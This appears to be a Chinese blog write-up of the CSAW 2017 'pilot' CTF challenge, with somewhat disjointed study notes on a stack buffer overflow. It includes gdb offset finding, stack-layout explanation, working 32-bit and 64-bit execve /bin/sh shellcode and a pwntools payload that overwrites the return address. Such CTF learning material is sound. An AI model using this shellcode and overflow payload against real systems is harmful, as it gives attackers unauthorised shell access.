shellcode-Pilot

shellcode-Pilot

题目描述

CSAW 2017 Quals - ‘pilot’

writeup

本人做的是实验吧上边的pilot;和CSAW上边的pilot完全一样。

首先下载文件

file pilot #看到是64bit-elf;一会使用ida64打开
checksec #发现没有开启任何保护;

使用IDA-pro打开后F5热键查看源码,可以看到程序运行流程。

前边很多很多行都是输出,关键在于下边看到的,它将buf数组的首地址给出,接下来可以向buf读入数据。buf实际大小应为0x20(32bytes),但是read()可以读入0x40(64bytes内容)。存在缓冲区溢出。

bufaddress

解题思路

程序会输出buf首地址!

两种途径可以找到攻击思路:

gdb调试
pattern_create
pattern_offset
gdb.attach()
gdb pilot

首先,gdb pilot;pattern_create100;r

可以看到程序发生segmentation fault;发生错误的位置为:ret;此时应当是返回到一个地址继续执行,但是由于此时栈顶不是一个可执行地址,因此发生错误。

而我们可以知道栈顶此时存放的应该是read()函数的Ret_address,我们使用pattern_offset可以确认offset=40;也就是说read()函数读入的40bytes之后的8byts是返回地址,而这个内容是可控的。

于是就可以构造Exploit代码,获取shell。

checksec发现没有开启栈不可执行,所以我们可以考虑构造shellcode,利用read()读入到stack中,然后通过控制ret_address到栈上,运行shellcode,从而获取shell权限。

pattern_offset

对函数栈的理解
调用函数的过程大致是
1:将参数从右到左压入堆栈
2:将下一条指令的地址压入堆栈
3:函数内部的临时变量申请
4:函数调用完成,退出
内存栈区从高到低
[参数][返回地址][old ebp][函数内部变量空间]
#内存栈区分布情况会因系统和编译器有所不同
如上程序,如果函数内部变量空间比较小,执行read()时候,就会覆盖函数返回地址,导致程序流程变化

我们知道buf大小为0x20;[32bytes-40bytes]即为old-ebp;[40bytes-48bytes]即为返回地址。那么我们只需要构造小于40bytes的shellcode,然后将[40bytes-48bytes]赋值为buf首地址就可以了。

为了确认栈布局,可以通过IDA进行确认。

stack

难点

shellcode构造

学习了一下如何构造shellcode;但最后还是看了别人的writeup解出来的题目。

exev()和exit()或者int 0x80等内容都比较好理解,但是最不明白的就是:

如何在不解析libc文件的情况下拿到字符串“/bin/sh”?

因为如果要通过libc二进制解析拿到”/bin/sh”的话,就需要offset、libc_base;这个时候还不如直接使用one_gadget,于是有会涉及到内存地址泄露…..等内容。

https://github.com/isislab/Shellcode这里给出了很多shellcode

我学习的writeup里边使用的是/Shellcode/64BitLocalBinSh/

shellcode构造学习

【干货分享】手把手简易实现shellcode及详解

- 软中断
- Shellcode如果存储在堆或是栈的内存中,这样在shellcode执行时就不能出现\x00这样的阶段字符
- exceve函数是通过调用软中断int 0x80进入ring0
#include<unistd.h>
#include<stdlib.h>
char *buf[]={"/bin/sh",NULL};
void main()
{
    execve(”/bin/sh“,buf,0);
    exit(0);
}

构造思路主要是将上述代码中的汇编指令中的关键指令提取出来,构造与execve(“/bin/sh”,buf,NULL)功能等价的极简汇编代码段。

构造思路为:

使用int 0x80软中断调用
- eax系统调用号
- ebx第一个参数;ecx第二个参数;edx第三个参数...

汇编形式编写的shellcode代码:

section .text
global _start
_start:
xor eax,eax
push eax        ;"\x00"
push 0x68732f2f ;"//sh"入栈
push 0x6e69622f ;"/bin"入栈
mov ebp,esp     ;ebp=esp"/bin//sh"的地址
push eax        ;"\0x00"入栈
push ebx        ;"/bin//sh"地址入栈
mov ecx,esp     ;ecx=esp为指针数组地址
xor edx,edx     ;edx=0
mov al,0xb      ;al=11 execve的系统调用号
int 0x80        ;软中断指令

img

本题shellcode解释
;; 021813
    ;; Evan Jensen 64bit localshellcode
    ;; RDI, RSI, RDX, RCX, R8, and R9 then stack        
BITS 64
%include "short64.s"
global main

main:
    xor  eax, eax
    push rax
    mov  rdi, 0x68732f2f6e69622f ;/bin//sh
    push rdi

    mov  al,  execve
    mov  rdi, rsp
    xor  esi, esi
    xor  edx, edx
    syscall

本题使用的shellcode不是使用int80软中断,而是调用了syscall()。

最后5行为syscall()对应的汇编代码。

技能学习

几乎没有保护……

所以可以构造栈上执行

内存地址泄露?

Shellcode?

如果是泄漏内存地址的话,setvbuf()是可以的 plt 0x400800 0x602018

read()地址肯定会需要…… ptl 400820 0x602028

readelf -l filename | grep stack
gcc -z execstack -o shellcode shellcode.c
disas main
x /10c $ebx
x /2wx $ecx
p $edx
p /x $eax
nasm -f elf retsh.asm
ld -o retsh retsh.o
objdump -d retsh
python -c 'print "A"*100' | ./pilot
gdb: run<<(python -c 'print "A"*100')

# read response until "Location:" string is found
r.recvuntil('Location:')

# store "Location" address in variable
address = r.recvuntil('\n')[:-1]

payload=shellcode+'A'*(40-len(shellcode))+p64(int(address,16))# append "Location" address as little-endian, 64-bit address话说是不是什么时候还会用到big-endians
因为调用函数的过程大致是
1:将参数从右到左压入堆栈
2:将下一条指令的地址压入堆栈
3:函数内部的临时变量申请
4:函数调用完成,退出
内存栈区从高到低
[参数][ebp][返回地址][函数内部变量空间]
如上程序,如果函数内部变量空间比较小,执行strcpy时候,源字符串比目标字符串长,就会覆盖函数返回地址,导致程序流程变化
segmentation fault. This error tells us that the process is attempting to access an invalid or restricted memory address.
[正常的字符串][jmp esp的地址][执行的代码(shellcode)]
//三种方式执行shellcode
    //第一种
    ((void (*)())&shellcode)(); // 执行shellcode
    //第二种
    __asm   
   {   
      lea eax,shellcode;   
      jmp eax;   
   } 
   //第三种
    __asm
   {
      lea eax, shellcode
      push eax
      ret 
   }
我们用gcc -S 来获得汇编语言输出,可以看到main函数的开头部分对应如下语句: 
pushl %ebp 
movl %esp,%ebp 
subl $8,%esp 
parser = argparse.ArgumentParser(description='pwntools skeleton')
parser.add_argument('-l', action="store_true", default=False)
args = parser.parse_args()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值